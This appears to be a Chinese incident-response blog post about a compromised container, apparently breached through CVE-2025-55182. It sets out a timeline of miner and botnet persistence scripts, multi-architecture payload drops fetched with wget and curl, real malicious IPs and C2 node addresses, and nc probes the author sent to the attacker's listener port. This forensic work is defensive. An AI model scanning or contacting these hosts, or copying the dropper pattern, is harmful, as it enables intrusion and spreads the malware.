Modify: 2025-12-08 10:04:40.000000000 +0000
Change: 2025-12-20 14:22:52.269802654 +0000
/bin/sh: file: not found
===== /tmp/runnv/alive.sh =====
File: /tmp/runnv/alive.sh
Size: 769 Blocks: 8 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772638 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-08 10:04:40.000000000 +0000
Modify: 2025-12-08 10:04:40.000000000 +0000
Change: 2025-12-20 14:22:52.269202049 +0000
/bin/sh: file: not found
===== /tmp/runnv/runnv =====
File: /tmp/runnv/runnv
Size: 8334576 Blocks: 16280 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772641 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-11-19 05:32:22.000000000 +0000
Modify: 2025-11-19 05:32:22.000000000 +0000
Change: 2025-12-20 14:22:52.300415666 +0000
/bin/sh: file: not found
===== /tmp/x88 =====
File: /tmp/x88
Size: 134288 Blocks: 264 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772642 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-10 20:31:33.000000000 +0000
Modify: 2025-12-10 20:31:33.000000000 +0000
Change: 2025-12-20 14:22:52.301415915 +0000
/bin/sh: file: not found
===== /tmp/mips.ts =====
File: /tmp/mips.ts
Size: 88328 Blocks: 176 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772635 Links: 1
Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-10 20:31:38.000000000 +0000
Modify: 2025-12-10 20:31:38.000000000 +0000
Change: 2025-12-20 14:22:52.267666108 +0000
/bin/sh: file: not found
===== /app/web/e386 =====
File: /app/web/e386
Size: 9052344 Blocks: 17688 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772622 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-06 12:37:40.000000000 +0000
Modify: 2025-12-06 12:37:40.000000000 +0000
Change: 2025-12-20 14:22:52.257404967 +0000
/bin/sh: file: not found
===== /app/web/am64 =====
File: /app/web/am64
Size: 9560248 Blocks: 18680 IO Block: 4096 regular file
Device: 5fh/95d Inode: 1772621 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root)
Access: 2025-12-06 12:37:56.000000000 +0000
Modify: 2025-12-06 12:37:56.000000000 +0000
Change: 2025-12-20 14:22:52.222396259 +0000
/bin/sh: file: not found

/bin/sh: file: not found意味着没有文件被劫持
直接根据挖矿程序组件来分析

1
stat /app/web/e386 /app/web/am64 /app/web/sex.sh

总结

阶段 1:首次入侵与持久化部署

首次入侵

时间:2025-12-05 12:37:40 UTC之前

关键证据文件
  • /app/web/am64
  • /app/web/e386
  • /app/web/sex.sh
行为分析
  • 上述文件的 mtime 最早为 2025-12-05
  • 结合CVE-2025-55182披露时间为2025/12/05可推断是12/05拿下该容器并写入sex.sh但是隔天才执行,推测是工具化批量打,然后第二天收割成果

持久化组件部署

时间:2025-12-08 10:04:40 UTC

关键证据文件
  • /tmp/alive.service
  • /tmp/lived.service
  • /tmp/runnv/alive.sh
  • /tmp/runnv/lived.sh
  • /tmp/runnv/runnv(ELF x86_64)
行为分析
  • 上述文件的 mtime 均为 2025-12-08
  • 形成完整的“守护 + 监控 + 进程清洗”体系
  • alive.sh 用于高 CPU 进程清理
  • lived.sh 用于监控自身进程并尝试通过 /proc bind mount 进行对抗

结论
部署了用于长期驻留的恶意组件。

阶段 2:多架构恶意程序投放

时间:2025-12-10 20:31:32 ~ 20:31:40 UTC

关键证据文件

  • /tmp/boons.sh
  • /tmp/x88(x86_64)
  • /tmp/4311(x86 32-bit)
  • /tmp/arm.ts/tmp/arm5.ts/tmp/arm6.ts(ARM)
  • /tmp/mips.ts/tmp/mpsl.ts(MIPS)

行为分析

boons.sh 脚本内容显示:

  • 同时使用 wgetcurl 下载 payload
  • 对下载文件统一执行 chmod 777
  • 立即执行多架构 ELF 文件

结论
该阶段为典型的自动化 Botnet / 挖矿程序投放行为,目标覆盖多 CPU 架构,具有通用性。

阶段 3:冗余下载器与补充投放

时间:2025-12-11 01:57 ~ 03:06 UTC

关键证据文件

  • /tmp/zzh.sh
  • /tmp/gates.lod

行为分析

  • zzh.sh 提供另一套下载与执行逻辑
  • 下载后即执行并删除,减少落盘痕迹
  • 用于提高在不同环境下的投放成功率
    结论
    攻击者采用多条投放链路,提高恶意程序存活概率。

阶段 4:持续活动与配置更新

时间:2025-12-19 03:54:03 UTC

关键证据文件

  • /tmp/conf.n

行为分析

  • 文件类型既非脚本亦非标准 ELF
  • 内容结构疑似网络配置或任务参数
  • mtime 显示攻击在该时间点仍处于活跃状态
    结论
    攻击并非一次性行为,而是持续运行并可能接收或更新配置。

攻击时间线总结

  • **2025-12-05~2025-12-08:攻击者首次入侵容器并部署持久化组件

  • 2025-12-10:投放多架构恶意程序并执行

  • 2025-12-11:补充下载器,提高投放成功率

  • 2025-12-19:攻击持续活跃,更新配置

  • 2025-12-20:攻击脚本再次触发,对系统内可执行文件进行统一处理

恶意ip

批量投放脚本的IP为

1
193.35.154.205


通报的受控ip为

1
47.243.105.82


可以断定是193.35.154.205通过47.243.105.82的代理发起攻击
47.243.105.82的使用记录应是2025-09-26之前

该c段有36个ip是恶意的,推测是阿里云的动态ip服务
根据该ip历史解析域名找到一个博客,但是已经更换解析了,攻击者应不是博客使用者

该恶意ip最新解析的域名为ddosddosddos.facai2025.org,查看whois信息无线索

根据其余子域名找到另一台主机

1
8.163.25.135


8.163.25.135是中国 安徽省 安庆市 阿里云的ip


根据威胁情报显示曾被标记为CobaltStrike木马
fscan扫了一下

然后验证了下这些大部分都是监听器的端口,典型的Botnet Loader + C2 架构
通过

1
printf "\x00\x00\x00\x00" | nc -v 47.243.105.82 2375
1
printf "\x7fELF" | nc -v 47.243.105.82 2375

验证是个被动的自定义二进制协议监听端口

根据4311文件的分析,其中有以下节点

1
2
3
4
5
6
7
61.128.114.133
202.103.96.112
211.136.150.66
211.92.136.81
202.85.128.32
119.6.6.6
222.222.222.222

剩下没了,溯源不太会